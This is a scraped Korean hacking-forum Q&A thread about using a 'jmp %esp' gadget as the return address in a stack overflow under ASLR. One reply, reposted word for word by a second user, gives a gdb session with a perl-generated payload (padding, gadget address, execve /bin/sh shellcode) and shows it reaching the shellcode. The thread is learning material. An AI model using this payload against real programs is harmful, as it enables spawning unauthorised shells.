|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
 |
  1574,  5/79 |
  |
 |
 |
 |
 |
 lMaxl04 |
||||||
 |
|||||||
 |
http://1111 | ||||||
|
|||||||
 |
ASLR이 걸려있을때 ret에 ROP으로 jmp %esp을 사용한 경우. | ||||||
|
|||||||
|
http://www.hackerschool.org/HS_Boards/zboard.php?id=QNA_system&no=2006 [복사]
Hit : 1195 Date : 2022/06/29 06:05
|
|||||||
 |
|||||||
|  |
| ||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
| cd80 | 이해하신대로 실행되는게 맞습니다 아래는 예시입니다 (gdb) b *main+63 Breakpoint 1 at 0x80491f5 (gdb) r $(perl -e 'print "A"x36, "\x08\xa0\x04\x08", "\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80"') Starting program: /home/cd80/tmp/test $(perl -e 'print "A"x36, "\x08\xa0\x04\x08", "\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80"') Breakpoint 1, 0x080491f5 in main () (gdb) si 0x0804a008 in ?? () (gdb) x/i $pc => 0x804a008: jmp *%esp (gdb) i reg esp esp 0xffffd3f0 0xffffd3f0 (gdb) si 0xffffd3f0 in ?? () (gdb) x/i $pc => 0xffffd3f0: push $0xb (gdb) 실수를 의심해봐야 할 것 같은데 x/i [jmp esp주소] 했을 때 정확히 jmp *%esp 만 나오는지를 먼저 체크해보셔야 하구요 쉘코드의 시작부에는 잘 도달하지만 중간에 메모리를 망가뜨려 제대로 작동이 되지 않는건지도 확인해보셔야 합니다 |
2022/06/30 | |
|||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
| lMaxl04 |
질문에 대한 설명이 부족하진 않았나 걱정했는데 잘 이해해주셔서 감사합니다. 하나씩 다시 확인해보고싶은데... 아직 리모트 환경에서 주소와 값 확인하는 방법을 잘 몰라 조금 더 고민해봐야겠습니다 ㅠㅠ | 2022/06/30 | |
|||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
| somass | 이해하신대로 실행되는게 맞습니다 아래는 예시입니다 (gdb) b *main+63 Breakpoint 1 at 0x80491f5 (gdb) r $(perl -e 'print "A"x36, "\x08\xa0\x04\x08", "\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80"') Starting program: /home/cd80/tmp/test $(perl -e 'print "A"x36, "\x08\xa0\x04\x08", "\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80"') Breakpoint 1, 0x080491f5 in main () (gdb) si 0x0804a008 in ?? () (gdb) x/i $pc => 0x804a008: jmp *%esp (gdb) i reg esp esp 0xffffd3f0 0xffffd3f0 (gdb) si 0xffffd3f0 in ?? () (gdb) x/i $pc => 0xffffd3f0: push $0xb (gdb) 실수를 의심해봐야 할 것 같은데 x/i [jmp esp주소] 했을 때 정확히 jmp *%esp 만 나오는지를 먼저 체크해보셔야 하구요 쉘코드의 시작부에는 잘 도달하지만 중간에 메모리를 망가뜨려 제대로 작동이 되지 않는건지도 확인해보셔야 합니다 |
2022/09/16 | |
|||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
|
|
|
|
| ||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
